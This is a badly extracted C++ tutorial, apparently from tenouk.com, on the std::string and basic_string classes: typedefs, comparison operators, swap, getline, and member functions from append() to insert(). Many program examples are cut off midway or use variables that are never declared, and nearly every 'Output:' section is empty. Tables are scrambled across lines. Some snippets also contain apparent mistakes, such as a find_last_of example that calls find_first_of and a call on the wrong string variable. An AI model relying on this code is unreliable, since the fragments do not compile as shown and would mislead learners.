e.g. wstring. This is wide char, normally 2 byte
const basic_string <wchar_t> such as Unicode character set (more information
str1(L"EST"); on this is discussed HERE and the
or implementation is HERE).
wstring str2(L"EST");
www.tenouk.com Page 1 of 38
Table 25.1 string and wstring typedefs
int main( )
{
const basic_string <char> str1("TEST");
//Uses the typedef for string word
//synonym to basic_string <char>
string str2("TEST");
Output:
▪ It finds two corresponding characters unequal, and the result of their comparison is taken as the
result of the comparison between the strings.
▪ It finds no inequalities, but one string has more characters than the other, and the shorter string is
considered less than the longer string.
▪ It finds no inequalities and finds that the strings have the same number of characters, and so the
strings are equal.
www.tenouk.com Page 2 of 38
Operator Brief Description
operator!= Tests if the string object on the left side of the operator is not equal
str1 != str2 to the string object on the right side.
operator== Tests if the string object on the left side of the operator is equal to
str1 == str2 the string object on the right side.
operator< Tests if the string object on the left side of the operator is less than
str1 < str2 to the string object on the right side.
operator<<
same as in iostream, e.g. A template function that inserts a string into the output stream.
cout<<
operator<= Tests if the string object on the left side of the operator is less than
str1 <= str2 or equal to the string object on the right side.
operator> Tests if the string object on the left side of the operator is greater
str1 > str2 than to the string object on the right side.
operator>= Tests if the string object on the left side of the operator is greater
str1 >= str2 than or equal to the string object on the right side.
operator>>
same as in iostream, e.g. A template function that extracts a string from the input stream.
cin>>
operator+
string str13 = str1 + Concatenates two string objects.
str3
int main( )
{
//Declaring an objects of type basic_string<char>
string str1("testingone");
string str2("testingtwo");
cout<<"str1 string is = "<<str1<<endl;
cout<<"str2 string is = "<<str2<<endl;
//Declaring a C-style string
char *str3 = "testingone";
cout<<"C-style str3 string is = "<<str3<<endl;
www.tenouk.com Page 3 of 38
cout<<"str1 & str2 are not equal."<<endl;
Output:
int main()
{
//Declaring objects of type basic_string<char>
string str1("testingthree");
string str2("testingtwo");
cout<<"str1 is = "<<str1<<endl;
cout<<"str2 is = "<<str2<<endl;
www.tenouk.com Page 4 of 38
else
cout<<"str3 is not less then string str2."<<endl;
Output:
int main( )
{
//Declaring an objects of type basic_string<char>
string str1("testingone");
string str2("testingtwo");
cout<<"str1 string is = "<<str1<<endl;
cout<<"str2 string is = "<<str2<<endl;
//Declaring a C-style string
www.tenouk.com Page 5 of 38
char *str3 = "testingone";
cout<<"str3 C-style string is = "<<str3<<endl;
Output:
www.tenouk.com Page 6 of 38
- The operator skips the leading white spaces unless the skipws flag is set. It reads all the following
characters until the next character is a white space or the end of the file is reached.
int main()
{
string Sample = "Testing the << and >> operators.";
string Var1, Var2;
cout<<Sample<<endl;
cout<<"Enter a string or a word: ";
cin>>Var1;
cout<<"Enter another string or a word: ";
cin>>Var2;
cout<<"The strings entered are: "<<Var1<<" and "<<Var2<<endl;
return 0;
}
Output:
int main()
{
//Declaring an object of type basic_string<char>
string str1("StringOne");
string str2("StringTwo");
//Declaring a C-style string
char *str3 = "StringThree";
//Declaring a character constant
char chr = '?';
www.tenouk.com Page 7 of 38
cout<<"str2 string is = "<<str2<<endl;
cout<<"str3 C-style string is = "<<str3<<endl;
cout<<"A character constant chr is = "<<chr<<endl;
Output:
Specialized Template
Description
Function
swap() Exchanges the arrays of characters
of two strings.
- If the strings being swapped have the same allocator object, the swap() member function:
- Otherwise, it performs a number of element assignments and constructor calls proportional to the
number of elements in the two controlled sequences.
//swap()
#include <string>
#include <iostream>
using namespace std;
int main()
{
//Declaring an object of type basic_string<char>
string str1("StringOne");
string str2("StringTwo");
www.tenouk.com Page 8 of 38
cout<<"Before swapping string str1 and str2:"<<endl;
cout<<"str1 string is = "<<str1<<endl;
cout<<"str2 string is = "<<str2<<endl;
swap(str1, str2);
cout<<"\nOperation: swap(str1, str2)"<<endl;
cout<<"After swapping string str1 and str2:"<<endl;
cout<<"str1 string is = "<<str1<<endl;
cout<<"str2 string is = "<<str2<<endl;
return 0;
}
Output:
Function Description
The getline() function creates a string containing all of the
characters from the input stream until one of the following
situations occurs:
getline()
- End of file.
- The delimiter is encountered.
- is.max_str elements have been extracted.
- Program example
//getline()
#include <string>
#include <iostream>
using namespace std;
int main()
{
string str;
string str1;
string str2;
cout<<"Enter a line of text: ";
getline(cin, str);
cout<<"You entered: "<<str<<endl;
cout<<"Enter a line of text, <space> as the delimiter: "<<endl;
getline(cin, str1, ' ');
cout<<"You entered: "<<str1<<endl;
return 0;
}
Output:
www.tenouk.com Page 9 of 38
- With <string>, we are provided with two string template classes as shown in the following table.
Class Description
A template class that describes objects that can store a sequence
basic_string
of arbitrary character-like objects.
A template class that describes attributes associated with a
char_traits
character of type CharType
- The sequences controlled by an object of template class basic_string are the Standard C++ string
class and are usually referred to as strings, but they should not be confused with the null-terminated C-
strings used throughout the Standard C++ Library.
- The string class is a container that enables the use of strings as normal types, such as using
comparison and concatenation operations, iterators and STL algorithms. The basic_string
template structure is shown below.
template <
class CharType,
class Traits = char_traits<CharType>,
class Allocator = allocator<CharType>
>
- Where:
Entity Description
The data type of a single character to be stored in the string. The Standard C++
CharType Library provides two specializations of this template class:
1. string, for elements of type char,
2. wstring, for elements of type wchar_t.
Traits Various important properties of the CharType elements in a basic_string
specialization are described by the class Traits.
The type that represents the stored allocator object that encapsulates details about
Allocator
the string's allocation and de-allocation of memory. The default value is
allocator<Type>.
- The following table is the list of the typedef used in basic_string template class. Their usages are
presented in the program examples part.
www.tenouk.com Page 10 of 38
A type that provides a random-access iterator that can read any const
const_reverse_iterator element in the string. A type const_reverse_iterator cannot
modify the value of a character and is used to iterate through a string in
reverse.
A type that provides the difference between two iterators those refer to
elements within the same string. The signed integer type describes an
difference_type object that can represent the difference between the addresses of any
two elements in the controlled sequence. For type string, it is
equivalent to ptrdiff_t.
A type that provides a random-access iterator that can read or modify
any element in a string. A type iterator can be used to modify the
iterator
value of a character and is used to iterate through a string in a forward
direction.
An unsigned integral value initialized to –1 that indicates either "not
found" or "all remaining characters" when a search function fails.
npos When the return value is to be checked for the npos value, it might not
work unless the return value is of type size_type and not either int
or unsigned.
A type that provides a pointer to a character element in a string or
character array. The type is a synonym for
pointer
allocator_type::pointer. For type string, it is equivalent
to char*.
A type that provides a reference to an element stored in a string. A type
reference can be used to modify the value of an element.
reference
The type is a synonym for allocator_type::reference.
For type string, it is equivalent to chr&.
A type that provides a random-access iterator that can read or modify an
element in a reversed string. A type reverse_iterator can be
reverse_iterator
used to modify the value of a character and is used to iterate through a
string in reverse.
An unsigned integral type for the number of elements in a string. It is
size_type equivalent to allocator_type::size_type. For type string,
it is equivalent to size_t.
A type for the character traits of the elements stored in a string. The
traits_type type is a synonym for the second template parameter Traits.
For type string, it is equivalent to char_traits<char>.
A type that represents the type of characters stored in a string. It is
value_type equivalent to traits_type::char_type and is equivalent to
char for objects of type string.
- The following table is a list of member functions available in basic_string template class.
www.tenouk.com Page 11 of 38
position in a source string to a target character array.
data() Converts the contents of a string into an array of characters.
empty() Tests whether the string contains characters or not.
end()
Returns an iterator that addresses the location succeeding the last
element in a string.
Removes an element or a range of elements in a string from
erase()
specified positions. Notice the different with clear().
find()
Searches a string in a forward direction for the first occurrence of
a substring that matches a specified sequence of characters.
find_first_not_of()
Searches through a string for the first character that is not any
element of a specified string.
find_first_of()
Searches through a string for the first character that matches any
element of a specified string.
find_last_not_of()
Searches through a string for the last character that is not any
element of a specified string.
find_last_of()
Searches through a string for the last character that is an element
of a specified string.
get_allocator() Returns a copy of the allocator object used to construct the string.
insert()
Inserts an element or a number of elements or a range of elements
into the string at a specified position.
length() Returns the current number of elements in a string.
max_size() Returns the maximum number of characters a string could contain.
push_back() Adds an element to the end of the string.
rbegin() Returns an iterator to the first element in a reversed string.
rend()
Returns an iterator that point just beyond the last element in a
reversed string.
Replaces elements in a string at a specified position with specified
replace() characters or characters copied from other ranges or strings or C-
strings.
reserve()
Sets the capacity of the string to a number at least as great as a
specified number.
resize()
Specifies a new size for a string, appending or erasing elements as
required.
rfind()
Searches a string in a backward direction for the first occurrence
of a substring that matches a specified sequence of characters.
size() Returns the current number of elements in a string.
substr()
Copies a substring of at most some number of characters from a
string beginning from a specified position.
swap() Exchange the contents of two strings.
- The following table is a list of the operators available in basic_string template class.
- Let try program examples demonstrating the basic_string template class member functions and
other creatures readily available for us.
www.tenouk.com Page 12 of 38
append()
- Characters may be appended to a string using the operator+= or the member functions append()
or push_back().
- operator+= appends single-argument values while the multiple-argument append() member
function allows a specific part of a string to be specified for adding.
//append()
#include <string>
#include <iostream>
using namespace std;
int main()
{
//appending a C-string to a string
string str1("Playing ");
const char *str2 = "with a string";
Output:
www.tenouk.com Page 13 of 38
assign()
- The strings can be assigned new character values. The new value can be either a string and C-string or
a single character.
- The operator= may be used if the new value can be described by a single parameter; otherwise the
member function assign(), which has multiple parameters, can be used to specify which part of the
string is to be assigned to a target string.
int main()
{
//assigning the characters of a C-string to a string
string str1;
const char *str2 = "StRiNg assign()";
www.tenouk.com Page 14 of 38
cout<<"Newly assigned str5 string is: "<<str5<<endl;
Output:
at()
- The first element of the string has an index of zero and the following elements are indexed
consecutively by the positive integers, so that a string of length n has an nth element indexed by the
number n – 1.
www.tenouk.com Page 15 of 38
- The member operator[] is faster than the member function at() for providing read and write
access to the elements of a string.
- The member operator[] does not check whether the index passed as a parameter is valid but the
member function at() does and so should be used in the validity is not certain. An invalid index,
which is an index less that zero or greater than or equal to the size of the string, passed to the member
function at() throws an out_of_range class exception.
- An invalid index passed to the operator[] results in undefined behavior, but the index equal to the
length of the string is a valid index for const strings and the operator returns the null-character when
passed this index.
- The reference returned may be invalidated by string reallocations or modifications for the non-const
strings.
//at()
#include <string>
#include <iostream>
using namespace std;
int main()
{
string str1("Operation"), str2("Desert Storm");
const string constr1("Making cakes"), constr2("Start eating");
cout<<"---constr1.length()---"<<endl;
cout<<"The length of the constr1 string is: "<<unsigned int(constr1.length())<<endl;
cout<<"\n---constr2.at(8)---"<<endl;
cout<<"The 8th character of the constr2 is: "<<cRefStr2<<endl;
return 0;
}
Output:
www.tenouk.com Page 16 of 38
basic_string::basic_string
- Constructs a string that is empty or initialized by specific characters or that is a copy of all or part of
some other string object or C-string.
- The five member functions and their parameters are shown below but it is not our concern here. We
just want to know how to use the member functions in our program.
- Then, the following program example tries to describe the string object initialization.
basic_string(
const value_type* _Ptr,
size_type _Count = npos,
const allocator_type& _Al = Allocator()
);
basic_string(
const basic_string& _Right,
size_type _Roff = 0,
size_type _Count = npos
);
basic_string(
const basic_string& _Right,
size_type _Roff = 0,
size_type _Count = npos,
const allocator_type& _Al = Allocator()
);
basic_string(
size_type _Count,
value_type _Ch,
const allocator_type& _Al = Allocator()
);
explicit basic_string(
const allocator_type& _Al = Allocator()
);
template <class InputIterator>
basic_string(
InputIterator _First,
InputIterator _Last,
const allocator_type& _Al = Allocator()
);
- The constructors for class basic_string create and initialize strings as follows:
▪ The first member function creates a string that is initialized by all or part of a C-string.
▪ The second member function creates a string that is initialized by all or part of an object of type
basic_string.
▪ The third member function creates a string that is initialized by a specific number of characters of
a parameter stipulated value.
▪ The fourth member function creates an empty string.
▪ The fifth member function creates a string that is initialized by the characters in the range whose
boundaries are delimited by input iterators.
www.tenouk.com Page 17 of 38
//basic_string
#include <string>
#include <iostream>
using namespace std;
int main()
{
//initializing with a C-string
const char *str1 = "The basic_string";
basic_string <char> str2(str1, 5);
cout<<"str1 string is: "<<str1<<endl;
cout<<"Operation: str2(str1, 5)"<<endl;
cout<<"str2 initialized by str1 is: "<<str2<<"\n\n";
Output:
www.tenouk.com Page 18 of 38
begin()
- If the return value of begin() is assigned to a const_iterator, the string object cannot be
modified.
- If the return value of begin() is assigned to an iterator, the string object can be modified.
//begin(), end()
#include <string>
#include <iostream>
using namespace std;
int main()
{
www.tenouk.com Page 19 of 38
}
Output:
c_str()
- Objects of type string belonging to the C++ template class basic_string<char> are not
necessarily null terminated.
- The null character ' \0 ' is used as a special character in a C-string to mark the end of the string but has
not special meaning in an object of type string and may be a part of the string just like any other
character.
- There is an automatic conversion from const char* into strings, but the string class does not
provide for automatic conversions from C-style strings to objects of type basic_string<char>.
- The returned C-style string should not be modified, as this could invalidate the pointer to the string, or
deleted, as the string has a limited lifetime and is owned by the class string.
int main( )
{
Output:
www.tenouk.com Page 20 of 38
capacity()
- The member function capacity() returns the storage currently allocated to hold the controlled
sequence, a value at least as large as size.
int main( )
{
string str1("Testing the capacity()");
cout<<"str1 string is: "<<str1<<endl;
SizeStr1 = str1.size();
LenStr1 = str1.length();
CapStr1 = str1.capacity();
MaxSizeStr1 = str1.max_size();
Output:
www.tenouk.com Page 21 of 38
clear()
- The string on which the member function clear() is called will be empty.
//clear()
#include <string>
#include <iostream>
using namespace std;
int main( )
{
//str1.clear();
cout<<"\nErasing part of the string using erase(13)"<<endl;
str1.erase(13);
cout<<"Operation: str1.erase(13)"<<endl;
cout<<"The modified str1 string is: ";
//using iterator...
for(StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<endl;
www.tenouk.com Page 22 of 38
return 0;
}
Output:
compare()
- The compare() member functions compare either all or part of the parameter and operand strings
depending on which in used.
- A negative return value if the operand string is less than the parameter string; zero if the two strings are
equal; or a positive value if the operand string is greater than the parameter string.
int main()
{
www.tenouk.com Page 23 of 38
cout<<"The last 5 characters of the str6 string is greater than\n"
<<"the str7 string."<<endl;
cout<<endl;
Output:
int main()
{
//comparing part of a string to part of a string
int str8;
string str9("TestFourth");
string str10("TFourthT");
cout<<"str9 string is: "<<str9<<endl;
cout<<"str10 string is: "<<str10<<endl;
str11 = str12.compare(str13);
cout<<"Operation: str12.compare(str13)"<<endl;
if(str11 < 0)
cout<<"The str12 string is less than the str13 C-string."<<endl;
else if(str11 == 0)
www.tenouk.com Page 24 of 38
cout<<"The str12 string is equal to the str13 C-string."<<endl;
else
cout<<"The str12 string is greater than the str13 C-string."<<endl;
cout << endl;
Output:
copy()
www.tenouk.com Page 25 of 38
- A null character is not appended to the end of the copy.
- The return value is the number of characters actually copied.
//copy()
#include <string>
#include <iostream>
using namespace std;
int main()
{
string str1("Testing the copy()");
basic_string <char>::iterator StrIter;
//declare and initialize arrays to 0
char Array1[20] = {0};
char Array2[10] = {0};
basic_string <char>:: pointer Array1Ptr = Array1;
basic_string <char>:: value_type *Array2Ptr = Array2;
Output:
data()
- Objects of type string belonging to the C++ template class basic_string <char> are not
necessarily null terminated.
- The return type for data() is not a valid C-string, because no null character gets appended. The null
character '\0 ' is used as a special character in a C-string to mark the end of the string, but has no
special meaning in an object of type string and may be a part of the string object just like any other
character.
- There is an automatic conversion from const char* into strings, but the string class does not
provide for automatic conversions from C-style strings to objects of type basic_string <char>.
- The returned string should not be modified, because this could invalidate the pointer to the string, or
deleted, because the string has a limited lifetime and is owned by the class string.
- The return value is a pointer to the first element of the array containing the contents of the string, or, for
an empty array, a non-null pointer that cannot be dereferenced.
www.tenouk.com Page 26 of 38
int main()
{
string str1("Testing the data()");
cout<<"str1 string object is: "<<str1<<endl;
cout<<"Operation: str1.length()"<<endl;
cout<<"The length of str1 = "<<unsigned int(str1.length())<<"\n\n";
Output:
empty()
- The return value is true if the string object contains no characters; false if it has at least one character.
- The empty() is equivalent to size == 0.
//empty()
#include <string>
#include <iostream>
using namespace std;
int main()
{
bool Var1, Var2;
string str1("Testing the empty()");
cout<<"str1 string object is: "<<str1<<endl;
Var1 = str1.empty();
//test the emptiness
cout<<"Operation: str1.empty()"<<endl;
if(Var1)
cout<<"str1 string object is empty."<<endl;
else
cout<<"str1 string object is not empty."<<"\n\n";
www.tenouk.com Page 27 of 38
cout<<"str3 string object is not empty."<<endl;
return 0;
}
Output:
end()
- The return value is a random-access iterator that addresses the location succeeding the last element in a
string.
- end() is often used to test whether an iterator has reached the end of its string. The value returned by
end() should not be dereferenced.
- If the return value of end() is assigned to a const_iterator, the string object cannot be
modified. If the return value of end() is assigned to an iterator, the string object can be modified.
//begin(), end()
#include <string>
#include <iostream>
using namespace std;
int main( )
{
string str1("Testing the end()");
basic_string <char>::iterator StrIter, Str1Iter;
Str1Iter = str1.end();
//minus the null character, so point to the real
//last character in the string...
Str1Iter--;
cout<<"Operation: str1.end() then Str1Iter--"<<endl;
cout<<"str1 string is: "<<str1<<endl;
cout<<"The last character of the str1 string is: "<<*Str1Iter<<endl;
//end() used to test when an iterator has reached the end of its string
cout<<"Using forward iterator the str1 is: ";
for(StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<"\n\n";
Output:
www.tenouk.com Page 28 of 38
erase()
- The return value: For the first two member functions, an iterator addressing the first character after the
last character removed by the member function.
- For the third member function, a reference to the string object from which the elements have been
erased.
- The third member function returns *this.
//erase()
#include <string>
#include <iostream>
using namespace std;
int main()
{
//using a range...
string str1("Testing the erase() part I");
basic_string <char>::iterator Str1Iter;
cout<<"str1 string object is: "<< str1<<endl;
Output:
find()
- The return value is the index of the first character of the substring searched for when successful;
otherwise npos.
www.tenouk.com Page 29 of 38
//find() part I
#include <string>
#include <iostream>
using namespace std;
int main()
{
//don't forget the null character
//searching for a single character in a string
string str1("Search part I, a character in a string");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;
index2 = str1.find('t');
cout<<"Operation: str1.find('t')"<<endl;
if(index2 != npos)
cout<<"The index of the 't' found in str1 is: "<<unsigned int(index2)<<endl;
else
cout<<"The character 't' was not found in str1."<<endl;
cout<<endl;
//---------------------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Search part II, a substring in string");
cout<<"str2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;
Output:
www.tenouk.com Page 30 of 38
//find() part II
#include <string>
#include <iostream>
using namespace std;
int main()
{
//don't forget the null character
//searching a string for a substring as specified by a C-string
static const basic_string <char>::size_type npos = -1;
string str3("Again, search part III");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char>::size_type index5, index6;
//--------------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("Finally!, search part IV");
cout<<"str4 string is: "<<str4<<endl;
basic_string <char>::size_type index7, index8;
string str5("part");
index7 = str4.find(str5, 4);
cout<<"Operation: str4.find(str5, 4)"<<endl;
if(index7 != npos)
cout<<"The index of the 1st element of 'part' "
<<"after\nthe 4th position in str4 is: "<<unsigned int(index7)<<endl;
else
cout<<"The substring 'part' was not found in str4"<<endl;
cout<<endl;
string str6("arch");
index8 = str4.find(str6);
cout<<"Operation: str4.find(str6)"<<endl;
if(index8 != npos)
cout<<"The index of the 1st element of 'arch' in "
<<"str4 is: "<<unsigned int(index8)<<endl;
else
cout<<"The substring 'arch' was not found in str4"<<endl;
return 0;
www.tenouk.com Page 31 of 38
}
Output:
find_first_not_of()
- The return value is the index of the first character of the substring searched for when successful;
otherwise npos.
//find_first_not_of() part I
#include <string>
#include <iostream>
using namespace std;
int main()
{
//searching a single character in a string
string str1("Testing the find_first_not_of() part 1");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;
index2 = str1.find_first_not_of('T');
cout<<"\nOperation: str1.find_first_not_of('T')"<<endl;
if(index2 != npos)
cout<<"The index of the 'non T' found in str1 is: "<<unsigned int(index2)<<endl;
else
cout<<"The character 'non T' was not found in str1."<<endl;
cout<<endl;
//---------------------------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing the find_first_not_of() part 2");
cout<<"str2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;
const char *cstr2 = "df";
www.tenouk.com Page 32 of 38
cout<<"The index of the 1st element of 'gz' after\nthe 0th position in str2 is: "
<<unsigned int(index4)<<endl;
else
cout<<"The substring 'gz' was not found in str2"<<endl;
return 0;
}
Output:
//find_first_not_of() part II
#include <string>
#include <iostream>
using namespace std;
int main()
{
//searching a string for a substring as specified by a C-string
string str3("Testing the find_first_not_of() part 3");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char>::size_type index5, index6;
static const basic_string <char>::size_type npos = -1;
//--------------------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("Testing the find_first_not_of() part 4");
cout<<"str4 string is: "<<str4<<endl;
basic_string <char>::size_type index7, index8;
string str5("tf7");
index7 = str4.find_first_not_of(str5, 3);
cout<<"Operation: str4.find_first_not_of(str5, 3)"<<endl;
if(index7 != npos)
www.tenouk.com Page 33 of 38
cout<<"The index of the 1st non occurrence of an element\nof 'tf7' "
<<"in str4 after the 3rd position is: "<<unsigned int(index7)<<endl;
else
cout<<"Elements other than those in the substring 'tf7' "
<<"were not found in the string str4."<<endl;
string str6("in");
index8 = str4.find_first_not_of(str6);
cout<<"\nOperation: str4.find_first_not_of(str6)"<<endl;
if(index8 != npos)
cout<<"The index of the 1st occurrence of an "
<<"element of\n'in' in str4 after the 0th "
<<"position is: "<<unsigned int(index8)<<endl;
else
cout<<"Elements other than those in the substring"
<<" 'in' were not found in the string str4."<<endl;
return 0;
}
Output:
find_first_of()
- The return value is the index of the first character of the substring searched for when successful;
otherwise npos.
//find_first_of() part I
#include <string>
#include <iostream>
using namespace std;
int main( )
{
//searching for a single character in a string
string str1("find_first_of()");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;
index2 = str1.find_first_of('z');
cout<<"\nOperation: str1.find_first_of('z')"<<endl;
if(index2 != npos)
cout<<"The index of the 'z' found in str1 is: "<<unsigned int(index2)<<endl;
else
cout<<"The character 'z' was not found in str1."<<endl;
www.tenouk.com Page 34 of 38
//--------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing 123...Testing 123");
cout<<"\nstr2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;
Output:
//find_first_of() part II
#include <string>
#include <iostream>
using namespace std;
int main( )
{
//searching a string for a substring as specified by a C-string
string str3("Testing 456...Testing 456...789");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char>::size_type index5, index6;
static const basic_string <char>::size_type npos = -1;
www.tenouk.com Page 35 of 38
cout<<"\nOperation: str3.find_first_of(cstr3, index5 + 1, 2)"<<endl;
if(index6 != npos)
cout<<"The index of the second occurrence of an"
<<"element\nof 't68' in str3 after the 0th "
<<"position is: "<<unsigned int(index6)<<endl;
else
cout<<"Elements of the substring 't68' were not\n"
<<"found in str3 after the first occurrence."<<endl;
cout<<endl;
//------------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("find_first_of() and find_first_of()");
cout<<"str4 string is: "<<str4<<endl;
basic_string <char>::size_type index7, index8;
string str5("dfz");
index7 = str5.find_first_of(str5, 3);
cout<<"Operation: str5.find_first_of(str5, 3)"<<endl;
if(index7 != npos)
cout<<"The index of the 1st occurrence of an "
<<"element\nof 'dfz' in str4 after the 3rd "
<<"position is: "<<unsigned int(index7)<<endl;
else
cout<<"Elements of the substring 'dfz' were not\n"
<<"found in str4 after the 3rd position."<<endl;
string str6("fo");
index8 = str4.find_first_of(str6);
cout<<"\nOperation: str4.find_first_of(str6)"<<endl;
if(index8 != npos)
cout<<"The index of the 1st occurrence of an "
<<"element\nof 'fo' in str4 after the 0th "
<<"position is: "<<unsigned int(index8)<<endl;
else
cout<<"Elements of the substring 'fo' were not\n"
<<"found in str4 after the 0th position."<<endl;
return 0;
}
Output:
//**********string.cpp**************
//append()
#include <string>
#include <iostream>
using namespace std;
int main()
{
//appending a C-string to a string
www.tenouk.com Page 36 of 38
string str1("Playing ");
const char *str2 = "with a string";
www.tenouk.com Page 37 of 38
Operation: str7 += str9
The re appended string is: First Second Third
------------------------------To be continued-------------------------------
---www.tenouk.com---
www.tenouk.com Page 38 of 38
MODULE 26
C++ CHARACTER AND STRING
MANIPULATION PART II
Note:
This is continuation from the previous Module. Program examples in this Module compiled using Visual C++ 6.0
with SP6 and Visual C++ .Net. Some program examples may generate warning and runtime errors caused by
buffer/stack overflow. These good compilers have some protection for errors :o). g++ (run on Fedora 3 machine)
examples, given at the end of this Module.
Abilities
▪ Able to understand and use string template classes of the <string> in manipulating character
and string in C++.
▪ Able to understand the functionalities string template classes of the <string> in manipulating
character and string in C++.
▪ Able to appreciate the usefulness and use these string template classes in your own programs.
find_last_not_of()
- The return value is the index of the first character of the substring searched for when successful;
otherwise npos.
//find_last_not_of() part I
#include <string>
#include <iostream>
using namespace std;
int main()
{
//searching for a single character in a string
string str1("daddy donkey is dead");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;
index2 = str1.find_last_not_of('d');
cout<<"\nOperation: str1.find_last_not_of('d')"<<endl;
if(index2 != npos)
cout<<"The index of the non 'd' found in str1 is: "
<<unsigned int(index2)<<endl;
else
cout<<"The Character 'non d' was not found in str1."<<endl;
cout<<endl;
//----------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing Testing Testing");
cout<<"str2 string is: "<<str2<<"\n";
basic_string <char>::size_type index3, index4;
www.tenouk.com Page 1 of 30
<<"\n found in str2 before the 12th position."<<endl;
Output:
//find_last_not_of() part II
#include <string>
#include <iostream>
using namespace std;
int main()
{
//searching a string for a substring as specified by a C-string
string str3("Playing Testing Boring");
cout<<"str3 string is: "<<str3<<"\n";
basic_string <char>::size_type index5, index6;
static const basic_string <char>::size_type npos = -1;
//-----------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("Testing 123 Testing 123");
cout<<"str4 string is: "<<str4<<"\n";
basic_string <char>::size_type index7, index8;
www.tenouk.com Page 2 of 30
string str5("3 1");
index7 = str4.find_last_not_of(str5, 18);
cout<<"Operation: str4.find_last_not_of(str5, 18)"<<endl;
if(index7 != npos)
cout<<"The index of the last occurrence of an "
<<"element not\nin '3 1' in str4 before the 18th "
<<"position is: "<<unsigned int(index7)<<endl;
else
cout<<"Elements other than those in the substring"
<<" '3 1' were not found in the string str4"<<endl;
string str6("Testing");
index8 = str4.find_last_not_of(str6);
cout<<"\nOperation: str4.find_last_not_of(str6)"<<endl;
if(index8 != npos)
cout<<"The index of the last occurrence of an "
<<"element not in\n'Testing' in str4 before the end "
<<"position is: "<<unsigned int(index8)<<endl;
else
cout<<"Elements other than those in the substring\n"
<<"'Testing' were not found in the string str4"<<endl;
return 0;
}
Output:
find_last_of()
- The return value is the index of the last character of the substring searched for when successful;
otherwise npos.
//find_last_of() part I
#include <string>
#include <iostream>
using namespace std;
int main()
{
//searching for a single character in a string
string str1("Testing 1234 Testing 1234");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;
index2 = str1.find_first_of('z');
cout<<"\nOperation: index2 = str1.find_first_of('z')"<<endl;
if(index2 != npos)
www.tenouk.com Page 3 of 30
cout<<"The index of the 'z' found in str1 is: "
<<unsigned int(index2)<<endl;
else
cout<<"The character 'z' was not found in str1"<<endl;
cout<<endl;
//--------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing 1234 Testing 1234");
cout<<"str2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;
Output:
//find_last_of() part II
#include <string>
#include <iostream>
using namespace std;
int main()
{
//searching a string for a substring as specified by a C-string
string str3("Testing 1234 Testing 1234");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char>::size_type index5;
static const basic_string <char>::size_type npos = -1;
www.tenouk.com Page 4 of 30
else
cout<<"Elements of the substring 's1' were not\n"
<<"found in str3 before the 20th position."<<endl;
cout<<endl;
//-------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("Testing 1234 Testing 1234");
cout<<"str4 string is: "<<str4<<endl;
basic_string <char>::size_type index6, index7;
string str5("416");
index6 = str4.find_last_of(str5, 25);
cout<<"Operation: str4.find_last_of(str5, 25)"<<endl;
if(index6 != npos)
cout<<"The index of the last occurrence of an "
<<"element\nof '416' in str4 before the 25th "
<<"position is: "<<unsigned int(index6)<<endl;
else
cout<<"Elements of the substring '416' were not\n"
<<"found in str4 after the 0th position"<<endl;
string str6("1g");
index7 = str4.find_last_of(str6);
cout<<"\nOperation: str4.find_last_of(str6)"<<endl;
if(index7 != npos)
cout<<"The index of the last occurrence of an "
<<"element\nof '1g' in str4 before the 0th "
<<"position is: "<<unsigned int(index7)<<endl;
else
cout<<"Elements of the substring '1g' were not\n"
<<"found in str4 after the 0th position"<< endl;
return 0;
}
Output:
get_allocator()
//get_allocator()
#include <string>
#include <iostream>
using namespace std;
int main()
{
//using the default allocator.
string str1;
basic_string <char> str2;
basic_string <char, char_traits<char>, allocator<char> > str3;
www.tenouk.com Page 5 of 30
basic_string <char> str4(str1.get_allocator());
insert()
- The return value is either a reference to the string object that is being assigned new characters by the
member function or, in the case of individual character insertions, an iterator addressing the position of
the character inserted, or none, depending on the particular member function.
//insert() part I
#include <string>
#include <iostream>
using namespace std;
int main()
{
//inserting a C-string at a given position
basic_string <char> str1("e insert() testing");
const char *cstr1 = "Th";
cout<<"str1 = "<<str1<<endl;
cout<<"cstr1 = "<<cstr1<<endl;
str1.insert(0, cstr1);
cout<<"Operation: str1.insert(0, cstr1)"<<endl;
cout<<"Inserting a C-string at position 0 is:\n"<<str1<<endl;
cout<<endl;
cout<<"str2 = "<<str2<<endl;
cout<<"cstr2 = "<<cstr2<<endl;
str2.insert(4, cstr2, 15);
cout<<"Operation: str2.insert(4, cstr2, 15)"<<endl;
cout<<"Inserting a C-string at the end is:\n"<<str2<<endl;
cout<<endl;
cout<<"str3 = "<<str3<<endl;
cout<<"str4 = "<<str4<<endl;
str3.insert(0, str4);
cout<<"Operation: str3.insert(0, str4)"<<endl;
cout<<"Inserting string at position 0 is:\n"<<str3<<endl;
cout<<endl;
cout<<"str5 = "<<str5<<endl;
cout<<"str6 = "<<str6<<endl;
str5.insert(7, str6, 4, 9);
cout<<"Operation: str5.insert(7, str6, 4, 9)"<<endl;
